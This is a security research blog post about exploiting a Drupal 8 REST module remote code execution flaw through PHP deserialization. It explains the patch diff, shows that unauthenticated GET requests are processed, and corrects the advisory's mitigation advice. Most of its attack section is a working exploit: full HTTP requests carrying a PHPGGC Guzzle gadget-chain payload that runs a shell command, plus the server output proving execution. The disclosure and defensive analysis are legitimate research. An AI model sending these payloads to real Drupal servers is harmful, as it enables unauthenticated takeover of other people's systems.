Exploiting Drupal8's REST RCE

Once again, an RCE vulnerability emerges on Drupal's core. This time it is targeting Drupal 8's REST module, which is present, although disabled, by default. By making use of the patch provided by Drupal, we were able to build a working exploit; furthermore, we discovered that the immediate remediation proposed for the vulnerability was incomplete, which could lead to a false sense of security. We therefore decided to release our findings, along with an exploit POC.

Analyzing the advisory

Drupal's advisory is fairly clear about the culprit: the REST module, if enabled, allows for arbitrary code execution. Nevertheless, as we're going to see, the indication that PATCH or POST requests must be enabled is wrong. The RCE is triggerable through a GET request, and without any kind of authentication, even if POST/PATCH requests are disabled in the REST configuration.

The recommandation to "not allow PUT/PATCH/POST requests to web services resources" is therefore incorrect, and does not protect from the vulnerability. Upgrading your Drupal, or disabling the REST module, is ATM the only solution.

Standard REST behaviour...

The /node/{id} API is enabled by default when the REST module is enabled.

Drupal's REST documentation provides a simple example to edit a node:

POST /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 286

{
  "_links": {
    "type": {
      "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/article"
    }
  },
  "type": {
      "target_id": "article"
  },
  "title": {
      "value": "My Article"
  },
  "body": {
      "value": "some body content aaa bbb ccc"
  }
}

In this case, Drupal will create properties title, type, and body for a Node object. In effect, Drupal can json-deserialize any ContentEntityBase object.

As expected, since we're not authenticated, the request fails.

... and unexpected behaviour

Nevertheless, by changing POST to GET, and sending an invalid href value, like so:

GET /drupal-8.6.9/node/3?_format=hal_json HTTP/1.1
Host: 192.168.56.101
Content-Type: application/hal+json
Content-Length: 287

{
  "_links": {
    "type": {
      "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE"
    }
  },
  "type": {
      "target_id": "article"
  },
  "title": {
      "value": "My Article"
  },
  "body": {
      "value": "some body content aaa bbb ccc"
  }
}

we obtain:

HTTP/1.1 422 Unprocessable Entity
{"message":"Type http:\/\/192.168.56.101\/drupal-8.6.9\/rest\/type\/node\/INVALID_VALUE does not correspond to an entity on this site."}

This indicates that the data is processed even through unauthenticated GET requests.

Analyzing the patch

By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.

As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.

Triggering the unserialize()

Having all these elements in mind, triggering an unserialize is fairly easy:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "<SERIALIZED_CONTENT>"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:

$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

We can now send the payload via GET:

GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642

{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}

To which Drupal responds:

HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012

{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)

Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.

That is all. We'll be back soon with some Magento hacking.
